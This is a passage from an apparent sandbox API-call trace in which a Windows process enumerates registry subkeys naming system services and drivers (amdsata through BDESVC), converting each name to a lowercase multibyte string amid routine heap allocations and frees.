cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 